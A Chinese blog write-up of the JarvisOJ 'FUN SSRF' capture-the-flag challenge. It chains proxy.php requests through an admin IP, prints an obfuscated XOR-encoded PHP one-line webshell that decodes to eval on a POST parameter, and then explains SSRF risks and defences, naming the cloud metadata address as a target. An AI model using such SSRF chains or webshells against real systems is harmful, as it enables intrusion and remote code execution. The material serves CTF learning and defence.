FUN SSRF

2019年4月9日19:20:11

URL: http://web.jarvisoj.com:32782/

一,试探

上来就看源代码,看有没有提示:

注意第7行,有一个url跳转,但是暂时还不知道怎么用

接着点击第9行"admin",看到/admin网页源代码:

注意第9行,提示admin的ip是202.5.19.128

接着去这个网站上逛了一下,没发现什么

猜测题意想要我们用admin的ip来访问这个网站的/admin,可是该如何做到呢?网络代理不太好弄啊。

二,深入

这时候不能忽略了index网页的提示

<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

proxy.php的作用就像是一个跳板,我们可以尝试用它去访问别的网页,比如 www.baidu.com:

成功了,而且还通过Notice得到了网站根目录

可是我们需要的是利用admin的ip再来访问本站才行,于是大胆猜测admin的服务器上会不会也有一个proxy.php

三,攻坚

有了想法就立即尝试:

http://web.jarvisoj.com:32782//proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/

果不其然,访问成功,并且主页还有提示

有提示,说明路没走错,接着下一步呢,有点茫然,当没有已知条件的时候,就去创造已知条件,比如扫后台,很容易在/admin/下找到robots.txt

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

顺势访问 trojan.php.txt

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

发现是个一句话木马,估计就是trojan.php的内容,把这个脚本在本地跑一下就能发现是 eval($_POST(360));

然后用hackbar对trojan.php POST 360=1,就看到flag跳出来了

### SSRF漏洞原理 服务器端请求伪造(SSRF)是一种Web安全漏洞,允许攻击者诱导服务器端应用程序向攻击者选择的任意域发出HTTP请求[^2]。这种类型的攻击通常发生在当应用接受来自用户的输入并使用该输入来构建用于发起网络请求的URL时。 #### 常见场景与影响 - **内部服务访问**:由于服务器可能位于防火墙后面,拥有对内网资源的访问权限,因此通过SSRF可以绕过外部网络限制,获取本应无法触及的数据或接口。 - **云元数据泄露**:许多云计算平台提供可通过特定IP地址(如`169.254.169.254`)访问的服务实例配置信息,这成为了一种常见的SSRF目标。 ```python import requests def fetch_data(url): response = requests.get(url) # 如果url由用户控制,则存在SSRF风险 return response.text ``` 上述代码片段展示了潜在的风险点——如果`fetch_data()`函数中的参数`url`是由未经验证的用户输入提供的,那么就可能存在SSRF漏洞[^1]。 ### 防御措施 为了防止SSRF的发生,建议采取以下策略: - **白名单机制**:仅允许访问预定义的安全域名列表内的资源,拒绝其他所有请求。 - **协议限制**:确保只支持必要的协议(通常是HTTP/HTTPS),阻止FTP或其他不常用协议的调用。 - **相对路径处理**:对于需要动态生成的目标链接,考虑采用相对路径而非绝对路径的方式实现功能需求。 - **响应内容过滤**:即使执行了对外部系统的查询操作,在返回给前端之前也要仔细审查和净化接收到的信息,以防其中含有恶意载荷。 - **最小化权限原则**:运行应用程序的服务账户应当遵循最低特权原则,减少因遭受此类攻击而导致更大范围损害的可能性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值